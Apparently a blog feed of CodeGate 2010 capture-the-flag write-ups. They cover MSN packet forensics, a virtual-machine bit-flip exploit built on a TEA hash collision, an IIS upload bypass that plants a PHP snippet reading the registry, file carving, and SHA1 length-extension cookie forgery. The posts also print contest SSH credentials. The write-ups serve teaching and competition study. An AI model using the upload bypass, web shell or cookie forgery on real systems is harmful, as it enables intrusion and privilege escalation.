Content-Type: application/x-msnmsgr-transrespbody
Content-Length: 482

Listening: true
NeedConnectingEndpointInfo: false
Conn-Type: Direct-Connect
TCP-Conn-Type: Direct-Connect
IPv6-global: 2001:0:cf2e:3096:2036:1131:5c67:c1c5
UPnPNat: false
Capabilities-Flags: 1
srddA-lanretnI4vPI: 85.26.251.361
troP-lanretnI4vPI: 2133

IPv6-Addrs: 2001:0:cf2e:3096:2036:1131:5c67:c1c5 2002:a398:3e3a::a398:3e3a
IPv6-Port: 3313
Nat-Trav-Msg-Type: WLX-Nat-Trav-Msg-Direct-Connect-Resp
Bridge: TCPv1
Hashed-Nonce: {E3759BB3-EED9-04F3-3B1A-56044619D59F}

What the hell is this: srddA-lanretnI4vPI: 85.26.251.361? It’s reversed! So, file transfer session has this information: IPv4Internal-Addrs: 163.152.62.58, IPv4Internal-Port: 3312. It’s confirmed by looking at chaosreader output:

Chaosreader Report- 3312

Let dump that session and use tcpxtract to extract files from the pcap:

$ tcpdump -nn -r 352FCD8BDEC8244CDED00CA866CA24B9 'port 3312' -w 3312.pcap
$ tcpxtract -f 3312.pcap
 Found file of type "pdf" in session [163.152.62.59:37390 -> 163.152.62.58:61452], exporting to 00000001.pdf
 Found file of type "jpg" in session [163.152.62.59:37390 -> 163.152.62.58:61452], exporting to 00000008.jpg
 Found file of type "jpg" in session [163.152.62.59:37390 -> 163.152.62.58:61452], exporting to 00000009.jpg
 Found file of type "jpg" in session [163.152.62.59:37390 -> 163.152.62.58:61452], exporting to 00000010.jpg
 Found file of type "jpg" in session [163.152.62.59:37390 -> 163.152.62.58:61452], exporting to 00000011.jpg
 Found file of type "jpg" in session [163.152.62.59:37390 -> 163.152.62.58:61452], exporting to 00000012.jpg
 Found file of type "jpg" in session [163.152.62.59:37390 -> 163.152.62.58:61452], exporting to 00000013.jpg
 Found file of type "jpg" in session [163.152.62.59:37390 -> 163.152.62.58:61452], exporting to 00000014.jpg

During the game, we opened PDF file but it’s just blank then we focused on JPG files, but no luck. Re-examined the blank PDF, by “Select All” we found there’s hidden text at the bottom of  the page: CC105EE2A139A631175571452968D637. Looks like a “key” – checksum of the secret file.

Searching on FA32 filesystem image for that checksum:

$ sudo mount -o loop,ro B400CBEA39EA52126E2478E9A951CDE8 /mnt/loop

$ find /mnt/loop -type f -exec md5sum {} \; >> md5sum.txt

$ grep -i CC105EE2A139A631175571452968D637 md5sum.txt
cc105ee2a139a631175571452968d637  /mnt/loop/hqksksk/iologmsg.dat

Matched! Finally, the secret key is: iologmsg. We’re just lucky!

Now, look back to the hint “You should convert the flag into lower case letters and try to auth with it.”, it sounds irrelevant or the md5sum was the correct key at first?

References

Keywords: network forensics, msn protocol, codegate 2010

]]>
http://www.vnsecurity.net/2010/03/codegate-2010-challenge-6-writeup/feed/ 3
No CodeGate 2010 CTF final for CLGT http://www.vnsecurity.net/2010/03/no-codegate-2010-ctf-final-for-clgt/ http://www.vnsecurity.net/2010/03/no-codegate-2010-ctf-final-for-clgt/#comments Fri, 19 Mar 2010 18:51:29 +0000 vnsec https://www.vnsecurity.net/?p=680

Due to the budget problem, we will not join the final round of CodeGate 2010 CTF in Seoul next month.

Good luck to the other teams and enjoy the game.

-CLGT Team

]]>
http://www.vnsecurity.net/2010/03/no-codegate-2010-ctf-final-for-clgt/feed/ 6
CodeGate 2010 Challenge 2 – Xbox pwned http://www.vnsecurity.net/2010/03/codegate-2010-challenge2-xbox-pwned/ http://www.vnsecurity.net/2010/03/codegate-2010-challenge2-xbox-pwned/#comments Fri, 19 Mar 2010 00:32:13 +0000 RD https://www.vnsecurity.net/?p=634

Summary

This is the most interesting challenge in CodeGate 2010 IMHO. The binary is a VM which loads the ‘codefile’ and execute it. The VM codefile is protected from being tampered with a TEA based hash algorithm. By exploiting the weakness of hash algorithm (similar to Xbox hack) together with a bug inside VM, we could change the execution flow of VM code to get back the secret key content.

Analysis

Challenge information

credentials: ssh hugh@ctf4.codegate.org -p 9474 password=takeitaway
Exploit /home/hugh/yboy to read secret.key

There are yboy, codefile and secret.key files in the home directory of hugh (you can download these files here if you want to try it by yourself)

-rw-r–r– 1 codegate codegate 1136 2010-03-12 14:45 codefile
-r——– 1 daryl daryl 140 2010-03-12 15:27 secret.key
-rwsr-xr-x 1 daryl root 22307 2010-03-12 16:07 yboy

a. Reverse Engineering yboy

yboy basically does the following things

  • load VM codes from the codefile into memory (code[])
  • load content of secret.key into memory (data[])
  • check for the integrity of codefile using TEA based hash algorithm against a hard-coded hash value. Exit if the hash not matched
  • parse/decode loaded VM codes and execute it accordingly

For the VM code inside codefile

  • ask user to input password
  • compare the input with flag inside secret.key
  • if correct, print out the flag
  • otherwise, print out access denied error and exit

b. Decompiler for codefile

Since yboy load VM code from codefile and execute it, I wrote a decompiler for it

#include <stdio.h>
#include <stdlib.h>

unsigned char *decode[32] = {
        "halt", "push", "pop", "add", "sub", "or", "xor", "nor", "shl",
        "shr", "not", "nop", "branch", "jumpreg", "callreg", "load",
        "store", "halt", "inputchar", "outputchar", "set_imm", "reload",
        "rrandom", "nop", "nop", "nop", "nop", "nop", "nop", "nop", "nop",
        "nop",
};

unsigned long registers[64];
unsigned long code[32768];
unsigned int PC;

int main(int argc, char **argv)
{
        unsigned int ins;
        unsigned char reg;
        unsigned char imm1, imm2;
        unsigned char opcode;

        unsigned int codesize;
        int set_imm = 1;
        FILE *f;

        f = fopen(argv[1], "r");
        codesize = fread(code, 1, sizeof(code), f);
        fclose(f);
        //check_code();

        PC = 0;
        while (PC < (codesize) / 4) {
                set_imm = 1;
                ins = code[PC];

                opcode = (ins >> 24);   //& 0x1f;
                reg = (ins >> 16) & 0xFF;
                imm1 = (ins >> 8) & 0xFF;
                imm2 = (unsigned char) ins;

                // set_imm
                if (opcode == 20) {
                        printf("%04x: \tr%d = %s %x, %x", PC, reg,
                            decode[opcode & 0x1f], imm1, imm2);

                        if (imm2 && !imm1)
                                printf("\t; %c", imm2);
                        else if (imm1)
                                printf("\t; %04x", imm2 + (imm1 << 8));

                        printf("\n");
                        PC++;
                        continue;
                }

                reg = (ins >> 16) & 0xBF;
                imm1 = (ins >> 8) & 0xBF;
                imm2 = ins & 0xBF;

                printf("%04x: \tr%d = %s r%d, r%d", PC, reg,
                    decode[opcode & 0x1f], imm1, imm2);

                if (opcode == 12)       // comment for branch
                        printf("\t; if (r%d) goto r%d\n", imm1, imm2);
                else
                        printf("\n");

                PC++;
        }
        return 0;
}

Here is the output of the decompiler (click to open)

rd@jps(~/working/ctf/codegate2010/2/)$ ./yboy-decompile codefile
0000:   r1 = set_imm 0, 45      ; E
0001:   r0 = outputchar r1, r0
0002:   r1 = set_imm 0, 6e      ; n
0003:   r0 = outputchar r1, r0
0004:   r1 = set_imm 0, 74      ; t
0005:   r0 = outputchar r1, r0
0006:   r1 = set_imm 0, 65      ; e
0007:   r0 = outputchar r1, r0
0008:   r1 = set_imm 0, 72      ; r
0009:   r0 = outputchar r1, r0
000a:   r1 = set_imm 0, 20      ;
000b:   r0 = outputchar r1, r0
000c:   r1 = set_imm 0, 70      ; p
000d:   r0 = outputchar r1, r0
000e:   r1 = set_imm 0, 61      ; a
000f:   r0 = outputchar r1, r0
0010:   r1 = set_imm 0, 73      ; s
0011:   r0 = outputchar r1, r0
0012:   r1 = set_imm 0, 73      ; s
0013:   r0 = outputchar r1, r0
0014:   r1 = set_imm 0, 77      ; w
0015:   r0 = outputchar r1, r0
0016:   r1 = set_imm 0, 6f      ; o
0017:   r0 = outputchar r1, r0
0018:   r1 = set_imm 0, 72      ; r
0019:   r0 = outputchar r1, r0
001a:   r1 = set_imm 0, 64      ; d
001b:   r0 = outputchar r1, r0
001c:   r1 = set_imm 0, 3e      ; >
001d:   r0 = outputchar r1, r0
001e:   r1 = set_imm 0, 3e      ; >
001f:   r0 = outputchar r1, r0
0020:   r60 = set_imm 0, ff     ; �
0021:   r61 = set_imm 0, 1      ;
0022:   r4 = set_imm 5, 39      ; 0539
0023:   r3 = inputchar r0, r0
0024:   r50 = set_imm 0, a      ;
0025:   r0 = store r4, r3
0026:   r0 = nop r0, r0
0027:   r10 = sub r3, r50
0028:   r10 = not r10, r0
0029:   r11 = set_imm 0, 2f     ; /
002a:   r0 = branch r10, r11    ; if (r10) goto r11
002b:   r4 = add r61, r4
002c:   r10 = sub r60, r3
002d:   r11 = set_imm 0, 23     ; #
002e:   r0 = branch r10, r11    ; if (r10) goto r11
002f:   r19 = set_imm 5, 39     ; 0539
0030:   r20 = set_imm 0, 0
0031:   r21 = set_imm 0, 23     ; #
0032:   r21 = sub r21, r20
0033:   r21 = not r21, r0
0034:   r22 = set_imm 0, 5e     ; ^
0035:   r0 = branch r21, r22    ; if (r21) goto r22
0036:   r21 = load r20, r0
0037:   r25 = add r19, r20
0038:   r0 = nop r0, r0
0039:   r26 = load r25, r0
003a:   r26 = sub r21, r26
003b:   r22 = set_imm 0, 41     ; A
003c:   r0 = branch r26, r22    ; if (r26) goto r22
003d:   r23 = set_imm 0, 1      ;
003e:   r20 = add r20, r23
003f:   r22 = set_imm 0, 31     ; 1
0040:   r0 = branch r22, r22    ; if (r22) goto r22
0041:   r1 = set_imm 0, 41      ; A
0042:   r0 = outputchar r1, r0
0043:   r1 = set_imm 0, 63      ; c
0044:   r0 = outputchar r1, r0
0045:   r1 = set_imm 0, 63      ; c
0046:   r0 = outputchar r1, r0
0047:   r1 = set_imm 0, 65      ; e
0048:   r0 = outputchar r1, r0
0049:   r1 = set_imm 0, 73      ; s
004a:   r0 = outputchar r1, r0
004b:   r1 = set_imm 0, 73      ; s
004c:   r0 = outputchar r1, r0
004d:   r1 = set_imm 0, 20      ;
004e:   r0 = outputchar r1, r0
004f:   r1 = set_imm 0, 44      ; D
0050:   r0 = outputchar r1, r0
0051:   r1 = set_imm 0, 65      ; e
0052:   r0 = outputchar r1, r0
0053:   r1 = set_imm 0, 6e      ; n
0054:   r0 = outputchar r1, r0
0055:   r1 = set_imm 0, 69      ; i
0056:   r0 = outputchar r1, r0
0057:   r1 = set_imm 0, 65      ; e
0058:   r0 = outputchar r1, r0
0059:   r1 = set_imm 0, 64      ; d
005a:   r0 = outputchar r1, r0
005b:   r1 = set_imm 0, a       ;
005c:   r0 = outputchar r1, r0
005d:   r0 = halt r0, r0
005e:   r1 = set_imm 0, 47      ; G
005f:   r0 = outputchar r1, r0
0060:   r1 = set_imm 0, 72      ; r
0061:   r0 = outputchar r1, r0
0062:   r1 = set_imm 0, 65      ; e
0063:   r0 = outputchar r1, r0
0064:   r1 = set_imm 0, 65      ; e
0065:   r0 = outputchar r1, r0
0066:   r1 = set_imm 0, 74      ; t
0067:   r0 = outputchar r1, r0
0068:   r1 = set_imm 0, 7a      ; z
0069:   r0 = outputchar r1, r0
006a:   r1 = set_imm 0, 20      ;
006b:   r0 = outputchar r1, r0
006c:   r1 = set_imm 0, 68      ; h
006d:   r0 = outputchar r1, r0
006e:   r1 = set_imm 0, 61      ; a
006f:   r0 = outputchar r1, r0
0070:   r1 = set_imm 0, 63      ; c
0071:   r0 = outputchar r1, r0
0072:   r1 = set_imm 0, 6b      ; k
0073:   r0 = outputchar r1, r0
0074:   r1 = set_imm 0, 65      ; e
0075:   r0 = outputchar r1, r0
0076:   r1 = set_imm 0, 72      ; r
0077:   r0 = outputchar r1, r0
0078:   r1 = set_imm 0, 73      ; s
0079:   r0 = outputchar r1, r0
007a:   r1 = set_imm 0, 2e      ; .
007b:   r0 = outputchar r1, r0
007c:   r1 = set_imm 0, 20      ;
007d:   r0 = outputchar r1, r0
007e:   r1 = set_imm 0, 4b      ; K
007f:   r0 = outputchar r1, r0
0080:   r1 = set_imm 0, 65      ; e
0081:   r0 = outputchar r1, r0
0082:   r1 = set_imm 0, 65      ; e
0083:   r0 = outputchar r1, r0
0084:   r1 = set_imm 0, 70      ; p
0085:   r0 = outputchar r1, r0
0086:   r1 = set_imm 0, 20      ;
0087:   r0 = outputchar r1, r0
0088:   r1 = set_imm 0, 75      ; u
0089:   r0 = outputchar r1, r0
008a:   r1 = set_imm 0, 70      ; p
008b:   r0 = outputchar r1, r0
008c:   r1 = set_imm 0, 20      ;
008d:   r0 = outputchar r1, r0
008e:   r1 = set_imm 0, 74      ; t
008f:   r0 = outputchar r1, r0
0090:   r1 = set_imm 0, 68      ; h
0091:   r0 = outputchar r1, r0
0092:   r1 = set_imm 0, 65      ; e
0093:   r0 = outputchar r1, r0
0094:   r1 = set_imm 0, 20      ;
0095:   r0 = outputchar r1, r0
0096:   r1 = set_imm 0, 67      ; g
0097:   r0 = outputchar r1, r0
0098:   r1 = set_imm 0, 6f      ; o
0099:   r0 = outputchar r1, r0
009a:   r1 = set_imm 0, 6f      ; o
009b:   r0 = outputchar r1, r0
009c:   r1 = set_imm 0, 64      ; d
009d:   r0 = outputchar r1, r0
009e:   r1 = set_imm 0, 20      ;
009f:   r0 = outputchar r1, r0
00a0:   r1 = set_imm 0, 77      ; w
00a1:   r0 = outputchar r1, r0
00a2:   r1 = set_imm 0, 6f      ; o
00a3:   r0 = outputchar r1, r0
00a4:   r1 = set_imm 0, 72      ; r
00a5:   r0 = outputchar r1, r0
00a6:   r1 = set_imm 0, 6b      ; k
00a7:   r0 = outputchar r1, r0
00a8:   r1 = set_imm 0, 2e      ; .
00a9:   r0 = outputchar r1, r0
00aa:   r1 = set_imm 0, 20      ;
00ab:   r0 = outputchar r1, r0
00ac:   r1 = set_imm 0, 53      ; S
00ad:   r0 = outputchar r1, r0
00ae:   r1 = set_imm 0, 74      ; t
00af:   r0 = outputchar r1, r0
00b0:   r1 = set_imm 0, 61      ; a
00b1:   r0 = outputchar r1, r0
00b2:   r1 = set_imm 0, 79      ; y
00b3:   r0 = outputchar r1, r0
00b4:   r1 = set_imm 0, 20      ;
00b5:   r0 = outputchar r1, r0
00b6:   r1 = set_imm 0, 73      ; s
00b7:   r0 = outputchar r1, r0
00b8:   r1 = set_imm 0, 68      ; h
00b9:   r0 = outputchar r1, r0
00ba:   r1 = set_imm 0, 61      ; a
00bb:   r0 = outputchar r1, r0
00bc:   r1 = set_imm 0, 72      ; r
00bd:   r0 = outputchar r1, r0
00be:   r1 = set_imm 0, 70      ; p
00bf:   r0 = outputchar r1, r0
00c0:   r1 = set_imm 0, 2e      ; .
00c1:   r0 = outputchar r1, r0
00c2:   r1 = set_imm 0, 20      ;
00c3:   r0 = outputchar r1, r0
00c4:   r1 = set_imm 0, 44      ; D
00c5:   r0 = outputchar r1, r0
00c6:   r1 = set_imm 0, 69      ; i
00c7:   r0 = outputchar r1, r0
00c8:   r1 = set_imm 0, 73      ; s
00c9:   r0 = outputchar r1, r0
00ca:   r1 = set_imm 0, 6f      ; o
00cb:   r0 = outputchar r1, r0
00cc:   r1 = set_imm 0, 62      ; b
00cd:   r0 = outputchar r1, r0
00ce:   r1 = set_imm 0, 65      ; e
00cf:   r0 = outputchar r1, r0
00d0:   r1 = set_imm 0, 79      ; y
00d1:   r0 = outputchar r1, r0
00d2:   r1 = set_imm 0, 20      ;
00d3:   r0 = outputchar r1, r0
00d4:   r1 = set_imm 0, 6d      ; m
00d5:   r0 = outputchar r1, r0
00d6:   r1 = set_imm 0, 69      ; i
00d7:   r0 = outputchar r1, r0
00d8:   r1 = set_imm 0, 73      ; s
00d9:   r0 = outputchar r1, r0
00da:   r1 = set_imm 0, 69      ; i
00db:   r0 = outputchar r1, r0
00dc:   r1 = set_imm 0, 6e      ; n
00dd:   r0 = outputchar r1, r0
00de:   r1 = set_imm 0, 66      ; f
00df:   r0 = outputchar r1, r0
00e0:   r1 = set_imm 0, 6f      ; o
00e1:   r0 = outputchar r1, r0
00e2:   r1 = set_imm 0, 72      ; r
00e3:   r0 = outputchar r1, r0
00e4:   r1 = set_imm 0, 6d      ; m
00e5:   r0 = outputchar r1, r0
00e6:   r1 = set_imm 0, 61      ; a
00e7:   r0 = outputchar r1, r0
00e8:   r1 = set_imm 0, 74      ; t
00e9:   r0 = outputchar r1, r0
00ea:   r1 = set_imm 0, 69      ; i
00ec:   r1 = set_imm 0, 6f      ; o
00ed:   r0 = outputchar r1, r0
00ee:   r1 = set_imm 0, 6e      ; n
00ef:   r0 = outputchar r1, r0
00f0:   r1 = set_imm 0, 2e      ; .
00f1:   r0 = outputchar r1, r0
00f2:   r1 = set_imm 0, a       ;
00f3:   r0 = outputchar r1, r0
00f4:   r1 = set_imm 0, 59      ; Y
00f5:   r0 = outputchar r1, r0
00f6:   r1 = set_imm 0, 6f      ; o
00f7:   r0 = outputchar r1, r0
00f8:   r1 = set_imm 0, 75      ; u
00f9:   r0 = outputchar r1, r0
00fa:   r1 = set_imm 0, 72      ; r
00fb:   r0 = outputchar r1, r0
00fc:   r1 = set_imm 0, 20      ;
00fd:   r0 = outputchar r1, r0
00fe:   r1 = set_imm 0, 66      ; f
00ff:   r0 = outputchar r1, r0
0100:   r1 = set_imm 0, 6c      ; l
0101:   r0 = outputchar r1, r0
0102:   r1 = set_imm 0, 61      ; a
0103:   r0 = outputchar r1, r0
0104:   r1 = set_imm 0, 67      ; g
0105:   r0 = outputchar r1, r0
0106:   r1 = set_imm 0, 20      ;
0107:   r0 = outputchar r1, r0
0108:   r1 = set_imm 0, 69      ; i
0109:   r0 = outputchar r1, r0
010a:   r1 = set_imm 0, 73      ; s
010b:   r0 = outputchar r1, r0
010c:   r1 = set_imm 0, 3a      ; :
010d:   r0 = outputchar r1, r0
010e:   r1 = set_imm 0, 20      ;
010f:   r0 = outputchar r1, r0
0110:   r29 = set_imm 0, 1      ;
0111:   r30 = xor r30, r30
0112:   r1 = load r30, r0
0113:   r0 = outputchar r1, r0
0114:   r30 = add r29, r30
0115:   r31 = set_imm 0, 26     ; &
0116:   r31 = sub r30, r31
0117:   r32 = set_imm 1, 12     ; 0112
0118:   r0 = branch r31, r32    ; if (r31) goto r32
0119:   r1 = set_imm 0, a       ;
011a:   r0 = outputchar r1, r0
011b:   r0 = halt r0, r0

Pseudo C code of the decompiled codefile

// data is an int array - int data[0x2000/4]
// the first 140 bytes of data store the content of "secret.key" file
printf("Enter password>>");
r4 = 1337;
while (!EOF) {
        r3 = getc();
        data[r4] = r3;
        if (r3 == '\n') break;
        r4++;
}
r19 = 1337;
r20 = 0;
while (1) {
        if (r20 == 0x23) goto correctpass;
        if (data[r20] != data[r19+r20]) goto wrongpass;
        r20++;
}

wrongpass:
printf("Access Denied\n");
exit(0);

correctpass:
printf("Greetz hackers. Keep up the good work. Stay sharp. Disobey misinformation.\n");
printf("Your flag is: ");
for(i=0; i<0x26; i++)
        print("%c", data[i]);
printf("\n");

c. Xbox’s TEA hash collision

From the decompiled VM code above, if we could modify the content of codefile, it would be possible to print out the flag inside secret.key stored at data[0]. However, the codefile is protected from being tampered with a hash algorithm.

int
check_code()
{
        int result;
        unsigned int v1;
        unsigned int v2;
        unsigned int i;

        hash_block(0x99999999, 0xBBBBBBBB, 0x44444444, 0x55555555, code[0],
            code[1], &v2, &v1);

        for (i = 2; i <= 32766; i += 2)
                hash_block(v2, v1, v2, v1, code[i], code[i + 1], (int *) &v2,
                    (int *) &v1);

        if (v2 != 0x1EC0A9F0 || (result = v1, v1 != 0x9217F034)) {
                puts("Tampering detected. Prepare for imminent arrest.");
                exit(0);
        }
        return result;
}

Google the constant 0×61C88647 and searching around, I found that it’s a TEA based hash algorithm. Using TEA hash is bad and there is a weakness in the algorithm in which by flipping the 32nd and 64th bit of a 64 bits block, the hash value will remain the same. Xbox was hacked because of this one. (Actually I didn’t know about Xbox’s TEA bits flipping attack. I found this collision by writing a tool doing the brute force on bits flipping of 64 bits block to find the collision. Later, I realized that Yboy is Xbox with two bits flipped)

Now, the next problem is to find how codefile should be patched to print out the flag.

d. Branch instruction handing bug

The 32nd and 64th bit of a 64 bits block are MSB bits of the opcode field of two consequence instructions. Since the code only uses the least 05 bits in opcode for instruction decode, changing the MSB of the opcode won’t affect the instruction decode part. However, there is a problem with branch instruction handling code which will help us to modify the behavior of branch.

If we look at the VM parsing code, an instruction (4 byes) structure is as the following

[ opcode ] [ output register ] [ imm1 ] [ imm2 ]

                opcode = (ins >> 24);   //& 0x1f;
                reg = (ins >> 16) & 0xFF;
                imm1 = (ins >> 8) & 0xFF;
                imm2 = (unsigned char) ins;

The least 05 bits of opcode are being used as an index to lookup for the corresponding function from the decode function table (decode[opcode & 0x1f])

Lets look deeper at the code handling ‘branch’ instruction:

int branch(int imm1, int imm2)
{
        if (imm1)
                PC = imm2;
        else
                PC++;
        return 0;
}

Inside main()

codegatechal2

As we can see, it only uses the least five bits of opcode ((ins >> 24) & 0×1f) for decode while the full byte (ins >> 24) is used for comparing later (opcode value for branch is oxC).

If we set the MSB of opcode, the opcode would become 0×8c. In this case, the branch() function is still being called, however, the (opcode == 0xC) check in main() will be false and PC will be increased by 1 unexpectedly.

e. Subvert the code flow to print out the flag

Look back at the decompiled VM code

0020:   r60 = set_imm 0, ff     ; r60 = 255
0021:   r61 = set_imm 0, 1      ; r61 = 1
0022:   r4 = set_imm 5, 39      ; r4 = 0x539  (1337)
0023:   r3 = inputchar r0, r0   ; r3 = getc()
0024:   r50 = set_imm 0, a      ; r50 = '\n'
0025:   r0 = store r4, r3          ; data[r4] = r3
0026:   r0 = nop r0, r0
0027:   r10 = sub r3, r50        ; r10 = r3 - '\n'
0028:   r10 = not r10, r0         ; !r10
0029:   r11 = set_imm 0, 2f     ; r11 = 0x002f
002a:   r0 = branch r10, r11    ; if (r3 == '\n') goto 002f
002b:   r4 = add r61, r4           ; r4++
002c:   r10 = sub r60, r3         ; r10 = 255 - r3
002d:   r11 = set_imm 0, 23    ; 0x0023
002e:   r0 = branch r10, r11    ; if (r3 != EOF) goto 0023
002f:   r19 = set_imm 5, 39     ; r19 = 0x539 (1337)
0030:   r20 = set_imm 0, 0      ; r20 = 0
0031:   r21 = set_imm 0, 23    ; r21 = 0x23 (35)
0032:   r21 = sub r21, r20      ; r21 = r21 - r20
0033:   r21 = not r21, r0        ; !r21
0034:   r22 = set_imm 0, 5e     ; 0x005e
0035:   r0 = branch r21, r22    ; if (r20 == 35) goto 005e //goodpassword
0036:   r21 = load r20, r0        ; r21 = data[r20]
0037:   r25 = add r19, r20       ; r25 = 0x539 + r20
0038:   r0 = nop r0, r0
0039:   r26 = load r25, r0        ; r26 = data[0x539 + r20]
003a:   r26 = sub r21, r26        ; r26 = r26 - r21
003b:   r22 = set_imm 0, 41     ; 0x0041
003c:   r0 = branch r26, r22    ; if (data[r20] != data[0x539+r20) goto 0041 //badpassword
003d:   r23 = set_imm 0, 1      ; r23 = 1
003e:   r20 = add r20, r23       ; r20++
003f:   r22 = set_imm 0, 31     ; 0x0032
0040:   r0 = branch r22, r22    ; goto 0032 //loop

The code above read password from stdin, stores it inside data array starting at data[0x539] then compares the input with the content of secret.key stored at the beginning of data[0] (35 DWORDS = 140 bytes).

What if we modify the MSB bit of branch instruction at 002a?

//modify code[2a] from 0x0c000a0b to 0x8c000a0b
002a: r0 = branch r10, r11 ; if (r3 == '\n') goto 002f

When '\n' is read, the branch() instruction will set PC to the password check code at 002f (002f: r19 = set_imm 5, 39 ; r19 = 0x539). However, because the opcode now is 0x8c instead of 0x0c, PC will be also increased by 1 unexpectedly due to the bug at main loop code mentioned above. Hence, the PC will point to instruction at 0030 (0030: r20 = set_imm 0, 0 ; r20 = 0) instead of 002f.

Since the instruction at 002f is skipped, r19 register will be 0 (default value) instead of 0x539. The VM code becomes

//r19 register value is 0 while it's expected to be 0x539
r20 = 0;
while (1) {
        if (r20 == 0x23) goto correctpass;
        if (data[r20] != data[r19+r20]) goto wrongpass;
        r20++;
}

It's comparing identical data. Yboy Pwned!

Exploit

  • Copy the codefile, edit it to set the 32nd and 64th bits at offset 0x2a

code[2a] 0x0c000a0b -> 0x8c000a0b
code[2b] 0x03043d04 -> 0x83043d04

  • Run the yboy with the new codefile
  • Press enter and get the flag

hugh@codegate-desktop:/tmp/rd$ ./yboy newcodefile
...
Enter password>>
Greetz hackers. Keep up the good work. Stay sharp. Disobey misinformation.
Your flag is: TEA - Toiletpaper Esque Aspirations

References

Keywords: TEA, VM, Xbox, codegate 2010

]]>
http://www.vnsecurity.net/2010/03/codegate-2010-challenge2-xbox-pwned/feed/ 19
Codegate 2010 Challenge 11 writeup http://www.vnsecurity.net/2010/03/codegate-2010-challenge-11-writeup/ http://www.vnsecurity.net/2010/03/codegate-2010-challenge-11-writeup/#comments Thu, 18 Mar 2010 08:09:54 +0000 Hiếu Lê https://www.vnsecurity.net/?p=632

Summary

http://ctf6.codegate.org/31337_/index.html

Get a value of HKLM\Software\codegate2010, it’s the flag.

Analysis

At first when accessing the url, it shows up a page allow you to upload a jpeg image and only .jpg files. As I noticed, it serves by IIS. Suddenly, I remember of the vulnerability of IIS in processing image files. A little bit google show me the result. Ah ha, let’s test it by uploading a php file likes “test.php;.jpg”. Incredible!

Now, the only thing we have to do is writing some lines of php to read the REG key.

regprint.php;.jpg
<?
$shell = new COM("WScript.Shell") or die("Requires Windows Scripting Host");
$devenvpath=$shell->RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\codegate2010");
echo $devenvpath
?>

Then, execute it by  http://ctf6.codegate.org/31337_/upload/regprint.php;.jpg

LollerSkaterz_From_RoflCopters_With_Guinness

Easy game with 1200 point.

Vulnerability

In facts, after the game thaidn said that it’s a fault of deploying the challenge, it’s designed to be passed by a 0-day of core php.

References

]]>
http://www.vnsecurity.net/2010/03/codegate-2010-challenge-11-writeup/feed/ 7
Codegate 2010 Challenge 12 writeup http://www.vnsecurity.net/2010/03/codegate-2010-challenge-12-writeup/ http://www.vnsecurity.net/2010/03/codegate-2010-challenge-12-writeup/#comments Thu, 18 Mar 2010 08:02:50 +0000 Hiếu Lê https://www.vnsecurity.net/?p=627

Summary

  • Problem: Finding the key in one raw-data-file – forensic challenge
  • Techniques: Using foremost to extract data
  • Solution: Just extract data and it’s done

Analysis

After downloading the file, let’s skim over.

$ file 514985D4E9D80D8BF227859C679BFB32 514985D4E9D80D8BF227859C679BFB32: CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 949, Title: Chzcxva Pneivat Znqr Rnfl, Author: Flfnqzva, Template: Normal.dotm, Last Saved By: FRETR INHQRANL, Revision Number: 12, Name of Creating Application: Microsoft Office Word, Total Editing Time: 21:00, Create Time/Date: Mon Feb 22 12:48:00 2010, Last Saved Time/Date: Thu Mar 4 13:54:00 2010, Number of Pages: 7, Number of Words: 1381, Number of Characters: 7876, Security: 0

$ ls -l 514985D4E9D80D8BF227859C679BFB32

-rw-r–r– 1 hieuln hieuln 867328 2010-03-13 21:18 514985D4E9D80D8BF227859C679BFB32

Of course, it’s not CDF document. So, the general step is using foremost to extract inside-data.

$ foremost -c /etc/foremost.conf -v -o out 14985D4E9D80D8BF227859C679BFB32

It got a lot of stuffs. Let’s browsing images file first. I noticed there’s a small image named “00000041.tif” looks like a captcha. Try with that phrase and it is the right key “E5R69267″.

Sad, really upset. That’s such a bad challenge with 300 points. And I can’t imagine that CLGT is the 3rd team submit this flag, it’s the end of first day.

References

]]>
http://www.vnsecurity.net/2010/03/codegate-2010-challenge-12-writeup/feed/ 2
CodeGate 2010 Challenge 15 – SHA1 padding attack http://www.vnsecurity.net/2010/03/codegate_challenge15_sha1_padding_attack/ http://www.vnsecurity.net/2010/03/codegate_challenge15_sha1_padding_attack/#comments Tue, 16 Mar 2010 11:24:15 +0000 RD https://www.vnsecurity.net/?p=608

Summary

This is a web based crypto challenge vulnerable to padding/length extension attack in its sha1 based authentication scheme.

Analysis

Challenge URL: http://ctf1.codegate.org/03c1e338b6445c0f127319f5cb69920a/web1.php

This page will ask for submitting a username for the first time. Once a username is submited ( ‘aaaa’ for example), the script will set a cookie as the following:

web1_auth = YWFhYXwx|8f5c14cc7c1cd461f35b190af57927d1c377997e

The first part YWFhYXwx is the base64 encoded string of ‘aaaa|1′ (username|role). The second part 8f5c14cc7c1cd461f35b190af57927d1c377997e is the sha1(unknown_secretkey + username + role).

In the next visit, the web1.php script will check for the cookie and return the following message

“Welcome back, aaaa! You are not the administrator.”

We can guest that 1 is the role value for normal user and 0 for administrator.

Solution

If we try to modify to first part of the web1_auth cookie to something like base64_encode(’aaaa|0′), the script will return an error message saying that the data has been tampered due to the wrong signature.

As we know that popular hash functions including sha1 are vulnerable to length extension (or padding) attacks. This can be used to break naive authentication schemes based on hash functions.

I will not write the detail on how to do sha1 length extension attack, you can read papers in the References section below for more information. Basically, with padding attack, we can append arbitrary data to the cookie and generate a valid signature for it without knowing the secret key. In this challenge, we want to have ‘|0′ (administrator role) at the end of the first part of the cookie.

$ python sha-padding.py
usage: sha-padding.py <keylen> <original_message> <original_signature> <text_to_append>

$ python sha-padding.py 25 ‘aaaa|1′ 8f5c14cc7c1cd461f35b190af57927d1c377997e ‘|0′
new msg: ‘aaaa|1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8|0′
base64: YWFhYXwxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4fDA=
new sig: 70f8bf57aa6d7faaa70ef17e763ef2578cb8d839

And here is what we got with the web1_auth cookie using YWFhYXwxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4fDA= and signature 70f8bf57aa6d7faaa70ef17e763ef2578cb8d839

Welcome back, aaaa! Congratulations! You did it! Here is your flag: CryptoNinjaCertified!!!!!

Source Codes

References

Keywords: sha1, padding, length extension attack, codegate 2010

]]>
http://www.vnsecurity.net/2010/03/codegate_challenge15_sha1_padding_attack/feed/ 13